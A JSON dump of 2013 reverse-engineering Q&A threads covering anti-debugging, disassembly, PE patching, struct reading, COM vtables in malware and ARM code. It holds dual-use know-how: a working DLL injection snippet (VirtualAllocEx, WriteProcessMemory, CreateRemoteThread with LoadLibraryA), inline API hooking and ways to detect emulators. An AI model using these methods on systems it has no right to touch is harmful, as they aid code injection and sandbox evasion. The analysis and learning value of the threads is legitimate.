        "Body": "<p>How can I detect whether an application is using anti-debug techniques? I'm using OllyDbg (2.01beta).</p>\n",
        "Title": "How can I tell if an app is using anti-debug techniques?",
        "Tags": "|ollydbg|anti-debugging|",
        "Answer": "<p>Peter Ferrie has written a nice paper on this: <a href=\"http://pferrie.host22.com/papers/antidebug.pdf\" rel=\"nofollow\">The \"Ultimate\" Anti-Debugger Reference</a>. A lot of techniques exist, like timing, checking if a process is running named OllyDBG for example. Sometimes people come up with new ideas. Step though your program and try to detect yourself if the program acts differently due to your debugging / olly or vmware (if this is the case).</p>\n"
    },
    {
        "Id": "2787",
        "CreationDate": "2013-09-13T10:19:30.487",
        "Body": "<p>I am working on some disassembly from an NEC 78K0R. Most functions have parameters passed in registers, but there are some functions that have compile time defined parameters passed using a method I have not seen before.</p>\n\n<p>Execution of instructions is from flash.</p>\n\n<p>The function, 0x4c4, is called as follows:</p>\n\n<pre><code>027d9        fdc404      CALL            !4C4H\n027dc        02          ?               ?\n027dd        75          MOV             D,A\n</code></pre>\n\n<p>The return address is set to 0x27dc and put into the stack.</p>\n\n<p>The function itself is as follows:</p>\n\n<pre><code>// Entry point from call\n004c4        c1          PUSH            AX\n004c5        c3          PUSH            BC\n004c6        c5          PUSH            DE\n004c7        c7          PUSH            HL\n\n// Get the stack pointer into HL\n004c8        aef8        MOVW            AX,SP\n004ca        16          MOVW            HL,AX\n004cb        c7          PUSH            HL\n\n// Preserve the ES (extended segment) register used for addressing\n004cc        8efd        MOV             A,ES\n004ce        c1          PUSH            AX\n\n// Retreive SP + 0x0A - this is the ES part of the return address\n004cf        8c0a        MOV             A,[HL+0AH] \n004d1        9efd        MOV             ES,A\n\n// Retreive SP + 0x8 - this is the lower two bytes of return address\n004d3        ac08        MOVW            AX,[HL+8H] \n004d5        16          MOVW            HL,AX\n\n// Take the contents of memory from the return address into A\n004d6        118b        MOV             A,ES:[HL]\n\n// Not relevant to question\n004d8        74          MOV             E,A\n004d9        c0          POP             AX\n004da        9efd        MOV             ES,A\n004dc        5500        MOV             D,#0H\n\n// HL is the original return address - shift up one to skip to instruction and store back into stack\n004de        a7          INCW            HL\n004df        17          MOVW            AX,HL\n004e0        c6          POP             HL\n004e1        bc08        MOVW            [HL+8H],AX\n</code></pre>\n\n<p>So, in short - the parameter 02 is stored in the flash memory in the next address. This is retrieved by using the return address from the stack, and then the return address in the stack in incremented by one so that we get to the next real instruction.</p>\n\n<p>The function shifts about the contents of the stack, but I do not think this is material to the problem.</p>\n\n<p>I've not seen this method used before - it's rather curious. I can't work out why it would be done - that's a lot of instructions required, as compared to doing:</p>\n\n<pre><code>MOV A,#2\nCALL !4c4H\n&lt;use A as parameter&gt;\n</code></pre>\n\n<p>Has anyone got any insights to why this has been done like this?</p>\n\n<p><strong>Edit</strong></p>\n\n<p>As requested, the entire function:</p>\n\n<pre><code>004c4        c1          PUSH            AX\n004c5        c3          PUSH            BC\n004c6        c5          PUSH            DE\n004c7        c7          PUSH            HL\n    004c8        aef8        MOVW            AX,SP\n    004ca        16          MOVW            HL,AX\n    004cb        c7          PUSH            HL\n        004cc        8efd        MOV             A,ES\n        004ce        c1          PUSH            AX\n            004cf        8c0a        MOV             A,[HL+0AH] \n            004d1        9efd        MOV             ES,A\n            004d3        ac08        MOVW            AX,[HL+8H] \n            004d5        16          MOVW            HL,AX\n            004d6        118b        MOV             A,ES:[HL]\n            004d8        74          MOV             E,A\n        004d9        c0          POP             AX\n        004da        9efd        MOV             ES,A\n        004dc        5500        MOV             D,#0H\n        004de        a7          INCW            HL\n        004df        17          MOVW            AX,HL\n    004e0        c6          POP             HL\n    004e1        bc08        MOVW            [HL+8H],AX\n    004e3        17          MOVW            AX,HL\n    004e4        25          SUBW            AX,DE\n    004e5        bef8        MOVW            SP,AX\n    004e7        c5          PUSH            DE\n        004e8        14          MOVW            DE,AX\n        004e9        320c00      MOVW            BC,#0CH\n        004ec        8b          MOV             A,[HL]\n        004ed        99          MOV             [DE],A\n        004ee        a7          INCW            HL\n        004ef        a5          INCW            DE\n        004f0        b3          DECW            BC\n        004f1        6171        XOR             A,A\n        004f3        616a        OR              A,C\n        004f5        616b        OR              A,B\n        004f7        dff3        BNZ             $4ECH\n    004f9        c2          POP             BC\n    004fa        aef8        MOVW            AX,SP\n    004fc        040c00      ADDW            AX,#0CH\n    004ff        14          MOVW            DE,AX\n    00500        3620fe      MOVW            HL,#0FE20H\n    00503        fd6104      CALL            !461H\n00506        c6          POP             HL\n00507        c4          POP             DE\n00508        c2          POP             BC\n00509        c0          POP             AX\n0050a        d7          RET      \n</code></pre>\n\n<p>Sub 461 called from above:</p>\n\n<pre><code>            00461        c1          PUSH            AX\n            00462        c3          PUSH            BC\n        00463        61dd        PUSH            PSW\n            00465        17          MOVW            AX,HL\n            00466        25          SUBW            AX,DE\n            00467        de18        BNC             $481H\n            00469        37          XCHW            AX,HL\n            0046a        03          ADDW            AX,BC\n            0046b        37          XCHW            AX,HL\n            0046c        35          XCHW            AX,DE\n            0046d        03          ADDW            AX,BC\n            0046e        35          XCHW            AX,DE\n            0046f        61cd        POP             PSW\n            00471        b7          DECW            HL\n            00472        b5          DECW            DE\n            00473        8b          MOV             A,[HL]\n            00474        99          MOV             [DE],A\n            00475        b3          DECW            BC\n            00476        6171        XOR             A,A\n            00478        616a        OR              A,C\n            0047a        616b        OR              A,B\n            0047c        dff3        BNZ             $471H\n        0047e        ee1000      BR              $!491H\n        00481        61cd        POP             PSW\n        00483        c5          PUSH            DE \n        00484        c7          PUSH            HL\n            00485        8b          MOV             A,[HL]\n            00486        99          MOV             [DE],A\n            00487        a7          INCW            HL\n            00488        a5          INCW            DE\n            00489        b3          DECW            BC\n            0048a        13          MOVW            AX,BC\n            0048b        6168        OR              A,X\n            0048d        dff6        BNZ             $485H\n        0048f        c6          POP             HL\n        00490        c4          POP             DE\n    00491        c2          POP             BC\n    00492        c0          POP             AX\n    00493        d7          RET  \n</code></pre>\n\n<p>And also the pre/post of the call:</p>\n\n<pre><code>024fe        c5          PUSH            DE\n024ff        fdc404      CALL            !4C4H\n02502        06          \n02503        9d24        MOV             0FFE24H,A\n02505        33          XCHW            AX,BC\n02506        bd20        MOVW            0FFE20H,AX\n</code></pre>\n",
        "Title": "Passing parameter using data at return address (read from stack) in NEC 78K0R",
        "Tags": "|disassembly|nec-78k0r|",
        "Answer": "<p>This approach (function call followed by data) is very often used to implement switches/table jumps, especially on platforms with limited flash space (so they prefer to not inline switch code but use a helper routine). I've seen it done on ARM, 8051 and some other CPUs. Since the switch data (values and offsets) is not going to change, it makes sense to put it into the code flash space.</p>\n\n<p><strong>EDIT</strong>: thanks for the full listing. So apparently that value is used to decrement SP, then 12 bytes of saved registers are copied there, then something else happens in <code>sub 461H</code>.</p>\n\n<p>At a guess, this sets up the caller's function frame (allocates space for local vars). As to why it's a code byte and not a direct argument, I have only one theory: to save flash space because only one byte is necessary as opposed to the <code>MOV</code> (at least 2 bytes) or <code>MOV + PUSH</code> (at least 3 bytes) instructions.</p>\n\n<p>I'd suggest finding out which compiler was used for this code (Renesas? KPIT?) and searching for this function in runtime libraries. The symbols should help here.</p>\n\n<p><strong>EDIT2</strong>: sub 461 seems to be <code>memmove(DE, HL, BC)</code> with copy direction detection. So it's copying N bytes from FE20 into the newly allocated stack space. Weird stuff.</p>\n"
    },
    {
        "Id": "2789",
        "CreationDate": "2013-09-14T06:29:39.870",
        "Body": "<p>I'm trying to load a struct defined in a program that i'm reading the memory of, so I can use it to define objects in my python debugger (in windows).</p>\n\n<p>What format do structs take in memory, and what information can i get from finding the struct.\nIs it possible to find the offsets for all attributes, and all objects linking to the struct?</p>\n\n<p>I'd prefer to be able to do this without using breakpoints, but I can use them if there is no other way.</p>\n",
        "Title": "Read a struct from memory",
        "Tags": "|windows|python|c|struct|",
        "Answer": "<p>You should rather ask your questions with some kind of example output so that answers are not based on guesswork. </p>\n\n<p>Does <em>iam loading the struct</em> mean </p>\n\n<ul>\n<li>I wrote a program where I am employing OpenProcess() ReadProcessMemory() </li>\n</ul>\n\n<p>or does it mean</p>\n\n<ul>\n<li>i am opening the raw file with FILE * fp ; fopen(\"c:\\XXX\",\"wb\") fread(fp); or load it in say ollydbg or in a hexeditor</li>\n</ul>\n\n<p>Assuming you use <code>ReadProcessMemory</code> \nthe buffer you provided will be filled with bytes. It is up to you to cast it to proper type for accessing various members of the struct \n(yes you need a valid prototype of the structure beforehand).</p>\n\n<p>A pseudo form could be like this</p>\n\n<pre><code>type result;\nBYTE foo[0x100];\nMystruct *blah;\nint s1;\nPSTR s2;\nresult = ReadProcessMemory(where,howmuch,destination,VerifiactionPointer)\nblah = (MyStruct *)destination;\ns1 = blah-&gt;someint;\ns2 = blah-&gt;somestring;\n</code></pre>\n\n<p>Memory you see will always contain hex bytes that are indistinguishable from one another. It is like clay in the hands of a potter. </p>\n\n<p>Only the artisan can give it form. Clay by itself can never become a statue or a finely crafted teapot.</p>\n"
    },
    {
        "Id": "2790",
        "CreationDate": "2013-09-14T06:57:53.203",
        "Body": "<p>After opening a PE file with  a disassembler, I know which instructions I have to patch. And if I have to add some data I can adjust the PE file structure manually so that it gets parsed correctly and executes.</p>\n\n<p>Example,\nReplace <code>EB 1C</code> with <code>E9 1C FD</code></p>\n\n<p>Now, the question. I have to modify multiple locations and manually adjusting values is killing me. Can I do this with <a href=\"http://code.google.com/p/pefile\" rel=\"noreferrer\">code.google.com/p/pefile</a> from python, which I am assuming will help in adjusting? Or is there any other module I can use? Some sample code I can find?</p>\n",
        "Title": "Patching PE File - Adding data",
        "Tags": "|pe|",
        "Answer": "<p>It is not that easy, or it is rather error prone. If you are going to insert 3 bytes in place of 2 bytes, you would be better off if you do a <code>trampoline</code>: jump to some other place, do what you want, then jump back to the next instruction. By employing trampolining, you can also save the registers.</p>\n\n<p>A small sample could be like this:</p>\n\n<pre><code>jmp SomePlace  &lt;---destroy old bytes and insert an unconditional jump  \nNextInst:      &lt;----|_________________________  \n ..                                           |    \nSomePlace:                                    |   \n\"dancing with wolves\"                         |  \njmp NextInst &lt;------- this will jump back to-&gt;|  \n</code></pre>\n\n<p>In the case, if you are interested in replacing two bytes with two bytes, then almost all hex editors have some form of search and replace functionality.</p>\n\n<p>Or you can write a simple script in your favorite utility.</p>\n\n<p>A simple windbg example script for replacing all the <code>push XXXX</code> <code>68 XXXXXX</code> bytes to <code>EB FE</code>. This example is a prototype, you need to tweak it based on the pattern you get:</p>\n\n<pre><code>.foreach /pS4 /ps 9 ( place { # 68?? 401000 l?0x20} ) {u place L1;ew place feeb;u place L1 } \n</code></pre>\n\n<p>All what this does is <code>search</code> the disassembly for the <code>pattern 68??</code> (blind search can alter unintended data, use with caution).</p>\n\n<p>When it is found, it uses the address where it was found to replace the two bytes <code>68XX</code> with <code>EB FE</code>.</p>\n\n<p>It does this for all the bytes that are found in a given range. In addition to this, it also prints out the assembly prior to modification and after modification:</p>\n\n<pre><code># 68??  pattern search command in windbg \n401000 l?0x20  start search from 0x401000 end at 401020 \nu place l1 disassemble one instruction when pattern found\new place feeb  write word 0xfeeb at found address  \ndis assemble again\nloop with foreach where ps and pS are skip before and skip after bytes \n</code></pre>\n\n<p>A sample output of the above script:</p>\n\n<pre><code>0:000&gt; .foreach /pS4 /ps 9 ( place { # 68?? 401000 l?0x20} ) {u place L1;ew place feeb;u place L1 } \nmsgbox!start+0x2 [msgbox.asm @ 17]:\n00401002 6800304000      push    offset msgbox!MsgCaption (00403000)\nmsgbox!start+0x2 [msgbox.asm @ 17]:\n00401002 ebfe            jmp     msgbox!start+0x2 (00401002)\nmsgbox!start+0x7 [msgbox.asm @ 17]:\n00401007 6819304000      push    offset msgbox!MsgBoxText (00403019)\nmsgbox!start+0x7 [msgbox.asm @ 17]:\n00401007 ebfe            jmp     msgbox!start+0x7 (00401007)\n</code></pre>\n"
    },
    {
        "Id": "2793",
        "CreationDate": "2013-09-14T15:20:45.010",
        "Body": "<p>So i just read a little bit about how one would go about for injecting a dll into a running program <a href=\"https://en.wikipedia.org/wiki/DLL_injection\">on Wikipedia</a> (the <code>CreateRemoteThread</code> idea). I followed the steps described and eventually got it working. The thing i found interesting though which took some time to figure out are the following: When creating my remote thread and sending in the function i would like to be run as the first/starting one i hit a snag, when it was run it failed to call the proper functions, they seemed to turn into rubbish when i looked at them in OllyDBG which in turn resulted in the program crashing down on me. The code i used then was something along these lines:</p>\n\n<pre><code>static DWORD __stdcall inject(LPVOID threadParam)\n{\n    MessageBoxA(NULL, \"test\", \"test\", NULL);\n    LoadLibrary(\"my.dll\");\n    return 0;\n}\n</code></pre>\n\n<p>And somewhere else:</p>\n\n<pre><code>CreateRemoteThreadEx(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(fnPageBase), dbPageBase, 0, NULL, &amp;threadId);\n</code></pre>\n\n<p>Where <code>fnPageBase</code> is the memory I've allocated in the to be injected process for my function and dbPageBase the memory I've allocated for a struct that is passed as the <code>LPVOID threadParam</code>.</p>\n\n<p>Something like that, the problem was that both <code>MessageBoxA</code> and <code>LoadLibrary</code> didn't get a proper address it would seem, when i checked them in OllyDBG they always pointed to something that didn't exist. I googled around a little and found out that i should be using <code>GetProcAddr</code> to get a address to ie: <code>LoadLibrary</code> which i could later use by sending in some data via the <code>LPVOID threadParam</code> in my <code>inject()</code> call. So my question is: Why does it work when i use the <code>GetProcAddr</code> and not when I just try to use it \"normally\"? Do I get some specific address that's always mapped in for everyone in the same region in memory when using that? </p>\n\n<p>Also, what happens to my strings in the <code>inject()</code> function? Are they moved to some other place during compile which makes them unavailable to the program i'm injecting since it's in a totally different place of the memory (i.e., it's not mapped to there?)? I worked that around by sending that along in a struct with the <code>LPVOID threadParam</code> aswell in a struct that i had copied over to memory available to the <code>.exe</code> I was injecting. </p>\n\n<p>If you need more info on how I did the other parts please do tell and I'll update.</p>\n",
        "Title": "Dll injection and GetProcAddress with the winapi",
        "Tags": "|windows|dll|c++|dll-injection|",
        "Answer": "<p>One thing you need to keep in mind is that code in your process and the code in the target process reside in <strong>different address spaces</strong>. So any address in your program is not necessary valid in the target process and vice versa.</p>\n\n<p>This means the code that you inject cannot make any assumptions about addresses of functions or variables. Even your <code>inject</code> function's address is valid only in <em>your</em> process; to make it available in the target process you'd have to: 1) copy the code there; and 2) make sure any functions or memory addresses it refers to are valid in the new address space.</p>\n\n<p>That's why the normal approach used with <code>CreateRemoteThreadEx</code> is to copy the DLL name to the target process and create the thread using the address of the <code>LoadLibrary</code> function:</p>\n\n<pre><code>// 1. Allocate memory in the remote process for szLibPath\npLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),\n                               MEM_COMMIT, PAGE_READWRITE );\n\n// 2. Write szLibPath to the allocated memory\n::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,\n                      sizeof(szLibPath), NULL );    \n\n// Load \"LibSpy.dll\" into the remote process\n// (via CreateRemoteThread &amp; LoadLibrary)\nhThread = ::CreateRemoteThread( hProcess, NULL, 0,\n            (LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,\n                                       \"LoadLibraryA\" ),\n             pLibRemote, 0, NULL );\n</code></pre>\n\n<p>(snippet <a href=\"http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces\" rel=\"nofollow noreferrer\">from Code Project</a>)</p>\n\n<p>You can see that <code>pLibRemote</code> (with the address of the DLL name in the target process) is passed as the parameter to the thread routine. So the result of this is equivalent to:</p>\n\n<pre><code>LoadLibraryA(pLibRemote);\n</code></pre>\n\n<p>executed in the target process.</p>\n\n<p>Strictly speaking, this is not guaranteed to work because the address of <code>LoadLibraryA</code> in your process is not necessarily the same as <code>LoadLibraryA</code> in the other process. However, in practice it does work because system DLLs like kernel32 (where <code>LoadLibraryA</code> resides) are mapped to the same address in all processes, so <code>LoadLibraryA</code> also has the same address in both processes.</p>\n"
    },
    {
        "Id": "2805",
        "CreationDate": "2013-09-18T04:55:51.537",
        "Body": "<p>I've been given a program that emulates the Windows API. I'm attempting to find flaws in this emulator where it either:</p>\n\n<ol>\n<li>Always returns a constant value, regardless of the host system <em>(Useful for fingerprinting)</em>\n<ul>\n<li>For example, calls to get the username in this emulator return\nvarious random strings. But calls to get the free disk space always\nreturns the same number, regardless of the actual value on the host\nsystem.</li>\n</ul></li>\n<li>Returns the real value from bare metal <em>(Emulator leaking real information)</em>\n<ul>\n<li>For example, calls to get the MAC address return the value from the host system.</li>\n</ul></li>\n</ol>\n\n<p>Instead of writing functions to test the return values from various functions in the Windows API, I'm looking for a way to automate code generation (preferably in C/C++) to query a large number of functions provided by the WinAPI . Is anything like this possible or has it been done for other projects that I could leverage?</p>\n",
        "Title": "Detecting an emulator using the windows api",
        "Tags": "|winapi|",
        "Answer": "<p>Previous answer is good.  I would say this depends on machine and emulator.  There are many more tricks to recognize emulators.</p>\n\n<p>You might look at the environment, is there an emultor in the file system?  Is the number of running applications indicating a virtual application?</p>\n\n<p>Ask the operating system whether the application is debugged; different methods exist, most are easily defeated.</p>\n\n<p>I have a program which measures the execution time between close instructions.  If the machine does not have hardware support for emulation, this is pretty reliable.</p>\n\n<p>Use google for anti-debug</p>\n\n<p>Chris Jacobi</p>\n"
    },
    {
        "Id": "2814",
        "CreationDate": "2013-09-20T11:37:49.667",
        "Body": "<p>I'm trying to get jailbreak statistics for a University project related to security in mobile devices. My purpose is to disassemble, add a sample code and re-assemble to obtain a runnable iOS app again.</p>\n\n<p>I have read a lot about IDA, IDA pro, HEX-Rays, and o'tool to disassemble an ipa file.</p>\n\n<p>Since i'm working with a macbook pro, i think that using otool to disassemble an '.ipa' file is the best and faster way. I have tried it with a non-signed <code>.ipa</code> and I have obtained the assembly code.</p>\n\n<p>Then, I have difficulties. I have tried to create a new Xcode project, import this assembly code and try to compile it to generate a new app, without inserting new code just to simplify the process.</p>\n\n<p>But when i tried to compile, Xcode fails in every single code line.</p>\n\n<p>I think that my problem is, that the process described:</p>\n\n<ol>\n<li>Disassemble with otool</li>\n<li>Import the code in XCode</li>\n<li>Compile and build</li>\n<li>Obtain the new app</li>\n</ol>\n\n<p>Is not correct.</p>\n",
        "Title": "Disassemble, edit and re-assembly iOS ipa apps",
        "Tags": "|disassembly|assembly|ios|",
        "Answer": "<h3>Depending on your need</h3>\n<p>If you need to <strong>change the behavior of Objective-C</strong> (possibly also Swift) <strong>methods or classes</strong>, it is way easier to <strong>create a tweak</strong> for the app. There are also many advantages in doing so, one of them being that a tweak can be un/-installed easily at a large scale (just create a source for Cydia with your tweak).</p>\n<p>Note that if you need a one-time and <em>non permanent</em> change, consider using <strong>Cycript</strong> instead. It is really straightforward (cycript.org). Just inspect the target app's headers with <em>Clutch</em> and <em>class-dump-z</em> in order to have an idea of what you want to modify and you're good to go.</p>\n<h3>Creating a tweak</h3>\n<p>In order to create a tweak, you can use <a href=\"http://www.iosopendev.com\" rel=\"nofollow noreferrer\"><strong>iOSOpenDev</strong></a> (and its <a href=\"http://iphonedevwiki.net/index.php/Logos\" rel=\"nofollow noreferrer\"><em>Logos</em></a> template) or <strong>Theos</strong>. iOSOpendev allows you to create your tweak in Xcode and install it to your device, making it really convenient to use.</p>\n"
    },
    {
        "Id": "2817",
        "CreationDate": "2013-09-20T19:58:50.470",
        "Body": "<p>I am working on automating some functionality within a closed-source third party application; I want to automate the creation of \"Project Files\" (in its simplest form, just a collection of video files in a specific order). The video files which this application works with each have an associated metadata file, and I have already managed to understand and recreate 99% of its format. Both these \"project files\" and the metadata files are more-or-less plain XML (with some strange tag names I have yet to decipher).</p>\n\n<p>Basically, I want to know what methods I can use to determine the format of these project files so that I can write my own and reference the video files I have chosen in the prior part of my script.</p>\n\n<p>There are <strong><em>many</em></strong> DLL files in the applications directory, and I was thinking that maybe monitoring their use during a save operation (of a project file in the application) could point me in the right direction? If so, how could I go about this? I have also began learning DLL injection, and was wondering if this could be of use?</p>\n",
        "Title": "Reverse engineer a proprietary save/file format structure",
        "Tags": "|disassembly|windows|file-format|dll|",
        "Answer": "<p>Ok, this can be tackled in a great number of ways. As you recently learned DLL injection a fun exercise is to use this knowledge to overwrite a function :) </p>\n\n<p>A good start is the <a href=\"https://www.htbridge.com/publications/inline_hooking_in_windows.html\" rel=\"nofollow\">Inline Hooking in Windows Presentation by High-Tech Bridge</a> and <a href=\"http://www.codeproject.com/Articles/2082/API-hooking-revealed\" rel=\"nofollow\">this codeproject</a> page. What you do is overwrite the function. What you'll have to to in order to redirect the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747%28v=vs.85%29.aspx\" rel=\"nofollow\">WriteFileA</a> to your own write function. This allows you to trace-back by walking the return values to determine the flow of the data. You can also examine the way data is written (once or by chunks).</p>\n\n<p>You can also Trace the application, check the addresses of data that is collected, see if it gets parsed though some kind of encryption or compression algorithm. </p>\n\n<p>Hope I am some form of help. :) </p>\n"
    },
    {
        "Id": "2822",
        "CreationDate": "2013-09-22T13:25:17.497",
        "Body": "<p>I'm reversing malware and it uses COM, which I evidently don't know. My question is how to find out what method is called using ppv (and objectstublessclient?)</p>\n\n<pre><code>push    offset ppv      ; Address of pointer variable that receives the interface pointer requested in riid\npush    offset IShellWindows \npush    7              \npush    0               \npush    offset rclsid   \ncall    ds:_CoCreateInstance\n\nmov     ebx, eax\nmov     eax, num4\nmovsx   edx, num8\nadd     eax, edx\nsub     eax, 0Ch\ncmp     ebx, eax        ; S_OK, operation successful\njnz     exit\n\nlea     eax, [ebp+var_C]    ;?\npush    eax\nmov     eax, ppv\npush    eax\nmov     edi, [eax]\ncall    dword ptr [edi+1Ch] ; ObjectStublessClient7\n</code></pre>\n\n<p>I guessed that the last called function is objectStublessClient7 given that there are three methods(queryinterface etc) and then objectStublessClient's (and code looks like it). <em>(Is that right?)</em></p>\n\n<p>According to this Microsoft <a href=\"https://web.archive.org/web/20161029205000/https://www.microsoft.com/msj/0199/com/com0199.aspx\" rel=\"nofollow noreferrer\">article</a>:</p>\n\n<blockquote>\n  <p>ObjectStubless simply calls into ObjectStublessClient, passing the method index (from ecx) as a parameter. Finally, ObjectStublessClient teases out the format strings from the vtable and jumps to NdrClientCall2. Like NdrStubCall2, this RPCRT4.DLL routine performs the interpretive marshaling and unmarshaling just as if a compiled proxy and stub were in use. </p>\n</blockquote>\n\n<p>What does ObjectStublessClient actually do in simple words? Calls a method by its index? If so, then in my case it will be OnActivate of <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/cc836570%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">IShellWindows interface</a>? It looks like the arguments don't match (does the first one look like <code>this</code>?)</p>\n",
        "Title": "COM interface methods",
        "Tags": "|disassembly|windows|com|",
        "Answer": "<h2>The <em>traditional</em> way to determine the function pointed to by <code>[edi+1Ch]</code> is as follows:</h2>\n\n<p>Find the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa378712%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">Interface Definition Language (IDL)</a> file for the given interface. In your case, the interface is <code>IShellWindows</code>. According to the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/cc836570%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">documentation for <code>IShellWindows</code></a>, its interface is defined in IDL file <code>Exdisp.idl</code>. That IDL file is included in the <a href=\"http://en.wikipedia.org/wiki/Microsoft_Windows_SDK\" rel=\"nofollow noreferrer\">Windows SDK</a> (downloadable for free), and will be installed to a location such as <code>C:\\Program Files\\Microsoft SDKs\\Windows\\v7.1A\\Include\\Exdisp.idl</code>. You can open that <code>Exdisp.idl</code> file with a text editor to see the Interface Definition of <code>IShellWindows</code>:</p>\n\n<pre><code>[\n    uuid(85CB6900-4D95-11CF-960C-0080C7F4EE85),     // IID_IShellWindows\n    helpstring(\"Definition of interface IShellWindows\"),\n    oleautomation,\n    dual,\n    odl,\n]\ninterface IShellWindows : IDispatch\n{\n    //Properties\n    [propget, helpstring(\"Get count of open Shell windows\")]\n    HRESULT Count([out, retval] long *Count);\n\n    //Methods\n    [id(0), helpstring(\"Return the shell window for the given index\")]\n    HRESULT Item([in,optional] VARIANT index, [out, retval]IDispatch **Folder);\n\n    [id(-4), helpstring(\"Enumerates the figures\")]\n    HRESULT _NewEnum([out, retval] IUnknown **ppunk);\n\n    // Some private hidden members to allow shell windows to add and\n    // remove themself from the list.  We mark them hidden to keep\n    // random VB apps from trying to Register...\n    [helpstring(\"Register a window with the list\"), hidden]\n    HRESULT Register([in] IDispatch *pid,\n                     [in] long hwnd,\n                     [in] int swClass,\n                     [out]long *plCookie);\n\n    [helpstring(\"Register a pending open with the list\"), hidden]\n    HRESULT RegisterPending([in] long lThreadId,\n                     [in] VARIANT* pvarloc,     // will hold pidl that is being opened.\n                     [in] VARIANT* pvarlocRoot, // Optional root pidl\n                     [in] int swClass,\n                     [out]long *plCookie);\n\n    [helpstring(\"Remove a window from the list\"), hidden]\n    HRESULT Revoke([in]long lCookie);\n    // As an optimization, each window notifies the new location\n    // only when\n    //  (1) it's being deactivated\n    //  (2) getFullName is called (we overload it to force update)\n    [helpstring(\"Notifies the new location\"), hidden]\n    HRESULT OnNavigate([in]long lCookie, [in] VARIANT* pvarLoc);\n    [helpstring(\"Notifies the activation\"), hidden]\n    HRESULT OnActivated([in]long lCookie, [in] VARIANT_BOOL fActive);\n    [helpstring(\"Find the window based on the location\"), hidden]\n    HRESULT FindWindowSW([in] VARIANT* pvarLoc,\n                         [in] VARIANT* pvarLocRoot, /* unused */\n                         [in] int swClass,\n                         [out] long * phwnd,\n                         [in] int swfwOptions,\n                         [out,retval] IDispatch** ppdispOut);\n    [helpstring(\"Notifies on creation and frame name set\"), hidden]\n    HRESULT OnCreated([in]long lCookie,[in] IUnknown *punk);\n\n    [helpstring(\"Used by IExplore to register different processes\"), hidden]\n    HRESULT ProcessAttachDetach([in] VARIANT_BOOL fAttach);\n}\n</code></pre>\n\n<p>We can see that the <code>IShellWindows</code> interface has the following <a href=\"http://en.wikipedia.org/wiki/Virtual_method_table\" rel=\"nofollow noreferrer\">vtable</a> entries:</p>\n\n<pre><code>- Count()\n- Item()\n- _NewEnum()\n- Register()\n- RegisterPending()\n- Revoke()\n- OnNavigate()\n- OnActivated()\n- FindWindowSW()\n- OnCreated()\n- ProcessAttachDetach()\n</code></pre>\n\n<p>However, you can also see in the IDL that the <code>IShellWindows</code> interface inherits from <code>IDispatch</code>. <code>IDispatch</code> has the following vtable entries (from <code>OAIdl.idl</code>):</p>\n\n<pre><code>- GetTypeInfoCount()\n- GetTypeInfo()\n- GetIDsOfNames()\n- Invoke()\n</code></pre>\n\n<p>The IDL for <code>IDispatch</code> in <code>OAIdl.idl</code> also specifies that <code>IDispatch</code> inherits from <code>IUnknown</code>. <code>IUnknown</code> has the following vtable entries (from <code>Unknwn.idl</code>):</p>\n\n<pre><code>- QueryInterface()\n- AddRef()\n- Release()\n</code></pre>\n\n<p>So now we know that <code>IShellWindows</code> inherits from <code>IDispatch</code>, which inherits from <code>IUnknown</code>. As such, the full layout of the vtable for <code>IShellWindows</code> is as follows:</p>\n\n<pre><code>*ppv+00h = QueryInterface()\n*ppv+04h = AddRef()\n*ppv+08h = Release()\n*ppv+0Ch = GetTypeInfoCount()\n*ppv+10h = GetTypeInfo()\n*ppv+14h = GetIDsOfNames()\n*ppv+18h = Invoke()\n*ppv+1Ch = Count()\n*ppv+20h = Item()\n*ppv+24h = _NewEnum()\n*ppv+28h = Register()\n...\n</code></pre>\n\n<p>Looking back at your code, we see a call to <code>*ppv+1Ch</code>, which we see from our constructed vtable above is a call to the function <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/cc836569%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\"><code>IShellWindows::Count()</code></a>, and <code>&amp;var_C</code> is the pointer to <code>IShellWindows::Count()</code>'s <code>[out, retval]  long *Count</code> parameter.</p>\n\n<hr>\n\n<h2>The <em>dynamic</em> way to determine the function pointed to by <code>[edi+1Ch]</code> is as follows:</h2>\n\n<p>Run your code above in a debugger, set a breakpoint on <code>call    dword ptr [edi+1Ch]</code>, and see what function that instruction calls.</p>\n\n<hr>\n\n<h2>The <em>easiest</em> way to determine the function pointed to by <code>[edi+1Ch]</code> is as follows:</h2>\n\n<p>Use <a href=\"http://www.japheth.de/COMView.html\" rel=\"nofollow noreferrer\">COMView</a> (<a href=\"https://web.archive.org/web/20140614155346/http://www.japheth.de/COMView.html\" rel=\"nofollow noreferrer\">wayback machine link to COMView</a>) to inspect the <code>IShellWindows</code> interface:</p>\n\n<p><img src=\"https://i.stack.imgur.com/KCaYn.png\" alt=\"&lt;code&gt;IShellWindows&lt;/code&gt; vtable in COMView\"></p>\n\n<p>You can see in the screenshot above that the function at vtable offset 28 (1Ch) is <code>Count()</code>.</p>\n"
    },
    {
        "Id": "2825",
        "CreationDate": "2013-09-23T03:14:55.120",
        "Body": "<p>I am disassembling and reverse engineering the logic of an assembly routine written in ARMv7 (hope I'm using the right terminology, as I'm a newbie for this particular processor).</p>\n\n<p>In doing so, I came across this site: <a href=\"http://www.davespace.co.uk/arm/introduction-to-arm/pc.html\" rel=\"nofollow\" title=\"Introduction to ARM\">Introduction to ARM</a>. In order to determine how much code I need to disassemble, first, I need to determine the length of the code. It is my understanding that I only need to look for <code>[Bxx][2]</code> (branch) instructions and instructions that alter the PC (program counter), for example, </p>\n\n<ul>\n<li><code>MOV PC, r14</code></li>\n<li><code>POP {r4, r5, pc}</code></li>\n</ul>\n\n<p>Can someone please advise if I have missed out any instructions that I need to look out for? Thank you.</p>\n",
        "Title": "How do I determine the length of a routine on ARMv7?",
        "Tags": "|disassembly|arm|",
